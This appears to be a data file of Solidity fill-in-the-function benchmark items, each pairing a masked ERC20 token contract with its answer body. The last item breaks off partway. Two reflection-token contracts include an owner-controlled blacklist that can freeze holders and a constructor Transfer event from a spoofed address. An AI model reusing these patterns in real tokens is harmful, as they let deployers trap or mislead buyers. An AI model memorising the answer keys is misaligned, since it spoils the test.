@param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } }
contract LeifengMedals { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function LeifengMedals( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } <FILL_FUNCTION> }
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true;
function burnFrom(address _from, uint256 _value) public returns (bool success)
/** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success)
25556
LOVToken
LOVToken
contract LOVToken is owned, TokenERC20 { string public constant name = "LOV Token"; string public constant symbol = "LOV"; uint8 public constant decimals = 18; uint256 public totalSupply = 21000000 * 10 ** uint256(decimals); /* Initializes contract with initial supply tokens to the creator of the contract. */ function LOVToken() public {<FILL_FUNCTION_BODY> } }
contract LOVToken is owned, TokenERC20 { string public constant name = "LOV Token"; string public constant symbol = "LOV"; uint8 public constant decimals = 18; uint256 public totalSupply = 21000000 * 10 ** uint256(decimals); <FILL_FUNCTION> }
balanceOf[msg.sender] = totalSupply;
function LOVToken() public
/* Initializes contract with initial supply tokens to the creator of the contract. */ function LOVToken() public
30843
ETHRUST
_getCurrentSupply
contract ETHRUST is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Elon Thrust"; string private constant _symbol = "ETHRUST"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x1f0EF8862D9DB771553c3A8A9c697c9810AC2E9f); _feeAddrWallet2 = payable(0x1f0EF8862D9DB771553c3A8A9c697c9810AC2E9f); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xa5d971B3515ebBfc5196261AC18B8B837e9F7FF3), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 12; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 12; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) {<FILL_FUNCTION_BODY> } }
contract ETHRUST is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Elon Thrust"; string private constant _symbol = "ETHRUST"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x1f0EF8862D9DB771553c3A8A9c697c9810AC2E9f); _feeAddrWallet2 = payable(0x1f0EF8862D9DB771553c3A8A9c697c9810AC2E9f); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xa5d971B3515ebBfc5196261AC18B8B837e9F7FF3), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 12; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 12; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } <FILL_FUNCTION> }
uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply);
function _getCurrentSupply() private view returns(uint256, uint256)
function _getCurrentSupply() private view returns(uint256, uint256)
92391
DALC
transferOwnership
contract DALC is StandardToken,BurnableToken { string public constant name = "DALECOIN"; string public constant symbol = "DALC"; uint256 public constant decimals = 8; address public owner; uint256 public constant INITIAL_SUPPLY = 100000000000000; function DALC() { totalSupply = INITIAL_SUPPLY; owner = 0x5f558906aec7b38bebba0f67878957c53ed0e0a3; balances[owner] = INITIAL_SUPPLY; } function Airdrop(ERC20 token, address[] _addresses, uint256 amount) public { for (uint256 i = 0; i < _addresses.length; i++) { token.transfer(_addresses[i], amount); } } modifier onlyOwner() { assert(msg.sender == owner); _; } function transferOwnership(address newOwner) external onlyOwner {<FILL_FUNCTION_BODY> } }
contract DALC is StandardToken,BurnableToken { string public constant name = "DALECOIN"; string public constant symbol = "DALC"; uint256 public constant decimals = 8; address public owner; uint256 public constant INITIAL_SUPPLY = 100000000000000; function DALC() { totalSupply = INITIAL_SUPPLY; owner = 0x5f558906aec7b38bebba0f67878957c53ed0e0a3; balances[owner] = INITIAL_SUPPLY; } function Airdrop(ERC20 token, address[] _addresses, uint256 amount) public { for (uint256 i = 0; i < _addresses.length; i++) { token.transfer(_addresses[i], amount); } } modifier onlyOwner() { assert(msg.sender == owner); _; } <FILL_FUNCTION> }
if (newOwner != address(0)) { owner = newOwner; }
function transferOwnership(address newOwner) external onlyOwner
function transferOwnership(address newOwner) external onlyOwner
12737
NEKOINUTHETRUTH
_takeTeam
contract NEKOINUTHETRUTH is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Neko Inu"; string private constant _symbol = "NEKO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x9ED937DFF99E70922C93d0DE2fce603D661006fD); _feeAddrWallet2 = payable(0x9ED937DFF99E70922C93d0DE2fce603D661006fD); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x79fF184c96F3EfCaBAf036096C37e5F954994cDD), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private {<FILL_FUNCTION_BODY> } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract NEKOINUTHETRUTH is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Neko Inu"; string private constant _symbol = "NEKO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x9ED937DFF99E70922C93d0DE2fce603D661006fD); _feeAddrWallet2 = payable(0x9ED937DFF99E70922C93d0DE2fce603D661006fD); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x79fF184c96F3EfCaBAf036096C37e5F954994cDD), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { 